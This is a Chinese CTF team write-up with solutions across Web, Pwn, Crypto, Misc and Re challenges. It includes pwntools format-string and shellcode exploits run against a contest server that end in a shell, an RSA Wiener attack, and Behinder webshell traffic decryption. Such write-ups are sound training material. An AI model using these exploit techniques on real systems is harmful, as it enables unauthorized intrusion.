内部赛第四届网络安全攻防大赛①-初赛-团队赛 Writeup
谁有别的题 wp 留言或者私信 大家集合一下。
Web
*点击就送*
(打完就没容器了。。。没截图)
共32位,每位0-f 16个字符独立验证
填充 爆破,根据每位回显颜色差别,可得FLAG
flag{4db490dfbac9fc8f9ccd42213944d90f}
Pwn
fmt
from pwn import remote, fmtstr_payload
r = remote('39.106.86.105',14032)
r.recvuntil(b"Address of 'a': ")
a_addr = int(r.recv(10), 16)
p = fmtstr_payload(7, {a_addr: 3})
r.recvuntil(b"Please input your name:\n")
r.sendline(p)
r.sendline('cat flag')
r.interactive()
# flag{8wLUnfRmNV33E3E49tMQ}
shellcode
from pwn import *
binary = './pwn_shellcode'
s = process(binary)
sh = bytes.fromhex('E9 E8 D0 FF FF') # jmp 0x0401176
s.send(sh)
s.interactive()
Crypto
super_e
e的大小大概在n的4次方,用n**4作为维纳攻击的分母逼近即可
from Crypto.Util.number import *
def continuedFra(x, y):
cf = []
while y:
cf.append(x // y)
x, y = y, x % y
return cf
def gradualFra(cf):
numerator = 0 # 分子
denominator = 1 # 分母
for x in cf[::-1]:
numerator, denominator = denominator, x * denominator + numerator
return numerator, denominator
def getGradualFra(cf):
gf = []
for i in range(1, len(cf) + 1):
gf.append(gradualFra(cf[:i]))
return gf
def wienerAttack(e, n):
cf = continuedFra(e, n)
gf = getGradualFra(cf)
for d,k in gf:
if d.bit_length() == 920 and isPrime(d):
print(d)
e = 75759282367368799544583457453768987936939259860144125672621728877894789863642594830153210412190846168814565659154249521465974291737543527734700545818480398345759102651419148920347712594370305873033928263715201812217658781693392922382633382112810845248038459857654576967447255765379492937162044564693535012144718871564964154729561032186045816489683161588345299569985304078255628527588710513640102450308662163641732851643593090646321420800552303398630738674858967724338819227042384745213425656939930135311339542647104499427215254435723921505189649944059658797193927706249542240737884739119223756635540945563449010120382834036979025801446796614280064172405549502694658175837126702821804106928800917035327292099385809060363635737715320709749444795680950552240184529017581997661357846852201424248086080872655164246614710423850620222735225702427025180018637830386631573912505087046428427137407828859500285127835020183526681560129322020299774376860830513167598911105104946612301909005028216010756378307303924865571457872055817289904093797943893894249094212422766513999129665299858860878710920689322752152527130981697461526170099006972245891313788064563118647308122107999430867808150749979046611265769861111738145184897880080810883790769899
n = 99231341424553040688931525316017803824870567327100041969103204566938549582832516706206735181835068382521133899811339836861525260134721134887446163174620592328661881621312114348726944317349680760092960665800660405612177225373482880941142930135489885221592416840149732795379174704611605960303340578163595465083
c = 51912267913822166939609412649040317504496074807114128570906975734314978239243126195114450182364905219564220952132295831821506923163901903475884654750723778919188739313410839400797147178715405967395291919670255087565317409867272406308033607180687583552093107182161324265551120692656648364663045380970692751603
wienerAttack(e,n ** 4)
d = 5625392240871591703674913289176493449351554576001933379885655076380379121373730939272476349026135584314461774818575210968383018641741768873055290364913313885973206167937229668741817076803184617448123799781711736443720192213454840474648356266384085300527439223289199819331996099
from Crypto.Util.number import *
print(long_to_bytes(pow(c,d,n)))
Misc
*NewBeyond*
冰蝎4流量
爆破
key:fish
密钥:83e4a96aed96436c
解密71582报文
flag{9be455ce-ff33-4cf2-b69b-6ac88c49b955}
AMD 9700X
和 NepCTF2024 的 NepCamera 题目考点一样。
tshark -r a.pcapng -T fields -Y 'usb.src == "1.6.8"' -e usb.iso.data > blue.txt
提取后按 ffd8 拆分。保存为图片。
ROG字体参考
flag{4b320cd85e8a4749bf9d3c0be4d07f01}
《黑神话:悟空》
puzzle sovler 修复png
flag{06bee25e-1220-443c-b0e4-747814e8f78d}
zipper
解完得到
,>>++ +++++ +++[< +++++ +++++ >-]<+ +[<-> -]<[+ -],>> +++++ +++++
[<+++ +++++ ++>-] <++++ ++++[ <->-] <[+-] ,>>++ +++++ ++[<+ +++++
++++> -]<++ +++++ [<->- ]<[+- ],>>+ +++++ ++++[ <++++ +++++ +>-]<
+++[< ->-]< [+-], >>+++ +++++ ++++[ <++++ +++++ +>-]< +++[< ->-]<
[+-], >>+++ ++[<+ +++++ ++++> -]<++ ++++[ <->-] <[+-] ,>>++ +++++
++[<+ +++++ ++++> -]<++ +++++ ++[<- >-]<[ +-],> >++++ [<+++ +++++
++>-] <++++ +++++ [<->- ]<[+- ],>>+ ++++[ <++++ +++++ +>-]< [<->-
]<[+- ],>>+ +++++ +++[< +++++ +++++ >-]<+ +++++ ++[<- >-]<[ +-],>
>++++ +++++ [<+++ +++++ ++>-] <++++ ++++[ <->-] <[+-] ,>>++ +++[<
+++++ +++++ >-]<+ +++++ +[<-> -]<[+ -],>> +++++ [<+++ +++++ ++>-]
<++++ +[<-> -]<[+ -],>> ++++[ <++++ +++++ +>-]< +++++ [<->- ]<[+-
],>>+ ++++[ <++++ +++++ +>-]< +++[< ->-]< [+-], >>+++ +[<++ +++++
+++>- ]<+++ +++++ [<->- ]<[+- ],>>+ ++++[ <++++ +++++ +>-]< +++++
[<->- ]<[+- ],>>+ ++++[ <++++ +++++ +>-]< +++++ [<->- ]<[+- ],>>+
+++[< +++++ +++++ >-]<+ ++++[ <->-] <[+-] ,>>++ +++[< +++++ +++++
>-]<+ +[<-> -]<[+ -],>> +++++ [<+++ +++++ ++>-] <++[< ->-]< [+-],
>>+++ +++++ +[<++ +++++ +++>- ]<+++ ++++[ <->-] <[+-] ,>>++ +++[<
+++++ +++++ >-]<+ +[<-> -]<[+ -],>> ++++[ <++++ +++++ +>-]< +++++
[<->- ]<[+- ],>>+ +++++ +++[< +++++ +++++ >-]<+ +++++ +[<-> -]<[+
-],>> +++++ ++++[ <++++ +++++ +>-]< +++++ ++[<- >-]<[ +-],> >++++
+++++ +[<++ +++++ +++>- ]<++[ <->-] <[+-] ,>>++ +++++ ++[<+ +++++
++++> -]<++ +++++ ++[<- >-]<[ +-],> >++++ [<+++ +++++ ++>-] <++++
+[<-> -]<[+ -],>> +++++ [<+++ +++++ ++>-] <++++ [<->- ]<[+- ],>>+
+++++ ++++[ <++++ +++++ +>-]< +[<-> -]<[+ -],>> +++++ [<+++ +++++
++>-] <+[<- >-]<[ +-],> >++++ +[<++ +++++ +++>- ]<+++ ++++[ <->-]
<[+-] ,>>++ ++[<+ +++++ ++++> -]<++ +++++ ++[<- >-]<[ +-],> >++++
+++++ +[<++ +++++ +++>- ]<++[ <->-] <[+-] ,>>++ +++[< +++++ +++++
>-]<[ <->-] <[+-] ,>>++ ++[<+ +++++ ++++> -]<++ +++++ ++[<- >-]<[
+-],> >++++ +[<++ +++++ +++>- ]<+[< ->-]< [+-], >>+++ +[<++ +++++
+++>- ]<+++ +++++ [<->- ]<[+- ],>>+ ++++[ <++++ +++++ +>-]< ++[<-
>-]<[ +-],> >++++ [<+++ +++++ ++>-] <++++ +++++ [<->- ]<[+- ],>>+
+++++ +++++ +[<++ +++++ +++>- ]<+++ ++[<- >-]<[ +-]>> >>>++ +++++
++++[ <++++ +++++ +>-]< +.>>> >>+++ +++++ ++[<+ +++++ ++++> -]<++
+++++ .
8个符号原理:https://cloud.tencent.com/developer/article/2147388
可视化工具:https://github.com/t510599/brainfuck-visualizer
,是输入 . 是输出 格式化一下删除循环转炒输出 ,处理所有字符串 在线解码.
>>++++++++++[<++++++++++>-]<++[<->-]<[+-]
>>++++++++++[<++++++++++>-]<++.
处理后结果如下。
>>++++++++++[<++++++++++>-]<++.
>>++++++++++[<++++++++++>-]<++++++++.
>>+++++++++[<++++++++++>-]<+++++++.
>>++++++++++[<++++++++++>-]<+++.
>>++++++++++++[<++++++++++>-]<+++.
>>+++++[<++++++++++>-]<++++++.
>>+++++++++[<++++++++++>-]<+++++++++.
>>++++[<++++++++++>-]<+++++++++.
>>+++++[<++++++++++>-]<.
>>+++++++++[<++++++++++>-]<++++++++.
>>+++++++++[<++++++++++>-]<++++++++.
>>+++++[<++++++++++>-]<+++++++.
>>+++++[<++++++++++>-]<+++++.
>>++++[<++++++++++>-]<+++++.
>>+++++[<++++++++++>-]<+++.
>>++++[<++++++++++>-]<++++++++.
>>+++++[<++++++++++>-]<+++++.
>>+++++[<++++++++++>-]<+++++.
>>++++[<++++++++++>-]<+++++.
>>+++++[<++++++++++>-]<++.
>>+++++[<++++++++++>-]<++.
>>+++++++++[<++++++++++>-]<+++++++.
>>+++++[<++++++++++>-]<++.
>>++++[<++++++++++>-]<+++++.
>>+++++++++[<++++++++++>-]<+++++++.
>>+++++++++[<++++++++++>-]<+++++++.
>>++++++++++[<++++++++++>-]<++.
>>+++++++++[<++++++++++>-]<+++++++++.
>>++++[<++++++++++>-]<+++++.
>>+++++[<++++++++++>-]<++++.
>>++++++++++[<++++++++++>-]<+.
>>+++++[<++++++++++>-]<+.
>>+++++[<++++++++++>-]<+++++++.
>>++++[<++++++++++>-]<+++++++++.
>>++++++++++[<++++++++++>-]<++.
>>+++++[<++++++++++>-]<.
>>++++[<++++++++++>-]<+++++++++.
>>+++++[<++++++++++>-]<+.
>>++++[<++++++++++>-]<++++++++.
>>+++++[<++++++++++>-]<++.
>>++++[<++++++++++>-]<+++++++++.
>>++++++++++++[<++++++++++>-]<+++++.>>>>>+++++++++++[<++++++++++>-]<+.>>>>>++++++++++[<++++++++++>-]<+++++++.
flag{8c12bb97-5077-44a4-aafc-6e391f213041}ok
cat
爆破 a、b、times,观察结果 a=6 b=9
# -*- coding: utf-8 -*-
# @Author : 1cePeak
import numpy as np
import cv2
def arnold_decode2(image, shuffle_times, a, b):
p = np.zeros(shape=image.shape)
h, w = image.shape[0], image.shape[1]
N = h
for time in range(shuffle_times):
for i in range(h):
for j in range(w):
x = ((a * b + 1) * i - b * j) % N
y = (-a * i + j) % N
p[x, y] = image[i, j]
image = np.copy(p)
cv2.imwrite('cat' + str(a) + '_' + str(b) + '.png', p, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
return p
# 3, 6, 9 需要爆破
a, b = 6, 9
times = 3
arnold_decode2(cv2.imread('cat.png'), times, a, b)
Re
junkcode
enc = [0x00000069, 0x0000007C, 0x00000070, 0x00000075, 0x00000068, 0x00000023, 0x00000021, 0x00000025, 0x00000075, 0x00000028, 0x0000007D, 0x0000002B, 0x0000002F, 0x00000031, 0x00000079, 0x0000002D, 0x0000007E, 0x00000016, 0x0000000C, 0x00000016, 0x00000014, 0x00000012, 0x00000015, 0x0000000B, 0x0000001E, 0x0000001F, 0x0000001C, 0x0000001F, 0x00000006, 0x0000001D, 0x0000001C, 0x0000004F, 0x0000001A, 0x00000051, 0x00000003, 0x00000005, 0x00000000, 0x0000000D, 0x00000000, 0x00000007, 0x00000000, 0x00000045]
for i in range(42):
a = (i + 15) % 255
print(chr(enc[i] ^ a),end='')
t4d
frida hook js 获取 Key, 然后rc4解密.
import hashlib
import string
from itertools import product
key2 = bytearray([68, 69, 108, 106, 86, 107, 103, 107, 88, 70, 42, 81, 49, 64, 88, 37, 55, 97, 70, 75, 82, 119, 78, 106])
md5 = '46c7e2947ad687eb22d3a2bc5134663a'
dic = string.ascii_lowercase + string.digits + '-'
for tp in product(dic, repeat=4):
key1 = ''.join(tp)
res = key1.encode() + key2
if md5 == hashlib.md5(res).hexdigest():
print(res)
exit(0)
# fd5fDEljVkgkXF*Q1@X%7aFKRwNj
查看lib后密文为 10AE6BAD1EB9F9BD68F12854E7E264C7391E641D05BBA618A95C5870150C12013A15BABE67C92F762B53
flag{fd5f4cf0-506f-475e-8cbd-c5d6968077f6}